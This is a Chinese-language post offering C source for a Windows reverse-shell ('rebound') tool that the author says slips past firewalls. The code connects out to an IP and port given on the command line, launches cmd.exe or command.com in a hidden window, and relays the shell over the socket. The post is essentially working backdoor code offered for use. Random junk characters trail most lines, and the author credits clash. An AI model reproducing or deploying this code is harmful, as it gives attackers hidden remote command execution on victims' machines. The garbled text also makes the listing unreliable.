这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 {/|RKV83
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/* ============================== <k59Ni9
Rebound port in Windows NT )Iu0MN&
By wind,2006/7 !4Q0
===============================*/ kucH=96
#include r{oRN
#include JmlMfMpXMs
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#pragma comment(lib,"wsock32.lib") 44@yQ?
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void OutputShell(); =+>cTV
SOCKET sClient; .8[*`%K>
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; tZ|0wPp
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void main(int argc,char **argv) n{'LF #4l
{ f8ucJ.{"
WSADATA stWsaData; >#pZ`oPEAv
int nRet; FYe#x]ue
SOCKADDR_IN stSaiClient,stSaiServer; P_e9>t@
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if(argc != 3) Tfsx&k\
{ Lt'FA
printf("Useage:\n\rRebound DestIP DestPort\n"); +UvT;"
return; /:S&1'=
} 2Kg-ZDK8
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WSAStartup(MAKEWORD(2,2),&stWsaData); nulLK28q
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 7LotN6H
b{
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stSaiClient.sin_family = AF_INET; faTp|T`nY
stSaiClient.sin_port = htons(0); Tj(DdR#w
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ^&[Z@*A8#
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) xlKg0&D
{ mCb1^Y
printf("Bind Socket Failed!\n"); `2
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return; J_-K"T|f
} rJz`v/:|P
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stSaiServer.sin_family = AF_INET; W=-:<3XL
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); WR:I2-1
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); =&8 Cg
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) -K%hug
{ n?a?U:
printf("Connect Error!"); >^!)G^B
return; 1@}s:
} *'l|ws
OutputShell(); H;DCkVL
} 1r9.JS
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void OutputShell() !_i;6UVG
{ QZZt9rA;
char szBuff[1024]; V'iT>
SECURITY_ATTRIBUTES stSecurityAttributes; Y%zYO
OSVERSIONINFO stOsversionInfo; [\BLb8
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; B!j7vXM2
STARTUPINFO stStartupInfo; #ULjK*)R
char *szShell; qT153dNA&
PROCESS_INFORMATION stProcessInformation; EX"o9'
unsigned long lBytesRead;
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); O yG#
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ~~iFs ,9
stSecurityAttributes.lpSecurityDescriptor = 0; p uOAt
stSecurityAttributes.bInheritHandle = TRUE; 8~!9bg6C
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Rlwewxmr
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ,v@C=4'm
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); dTTC6?yPXf
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]tsp}M@
stStartupInfo.wShowWindow = SW_HIDE; qK-\`m
stStartupInfo.hStdInput = hReadPipe; -hU1wX%U
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; \c(Z?`p]R1
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GetVersionEx(&stOsversionInfo); 2~B9 (|
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switch(stOsversionInfo.dwPlatformId) ]1)#Y
{ )RCva3Ul
case 1: =6O<1<[y
szShell = "command.com"; opIbs7k-
break; w l#jSj%pd
default: QLLMSa+! \
szShell = "cmd.exe"; Ha41Wn'tZ
break; 3uy^o
} J#) %{k_
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); U$m[{r2M
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send(sClient,szMsg,77,0); )YY8`\F>1
while(1) _t-e.2a
v
{ N2.(0 G
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); qA>C<NL
if(lBytesRead) @.8FVF
{ `gE_u
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); kP[LS1}*
send(sClient,szBuff,lBytesRead,0); aB ^`3J
} 2]'cj
else .T*89cEu
{ j21>\K!p
lBytesRead=recv(sClient,szBuff,1024,0); @g%^H)T
if(lBytesRead<=0) break; u;Rm/.
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ZOzwO6(_
} /VHQ!Wi
} &s~b1Va
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return; Xf6\{
}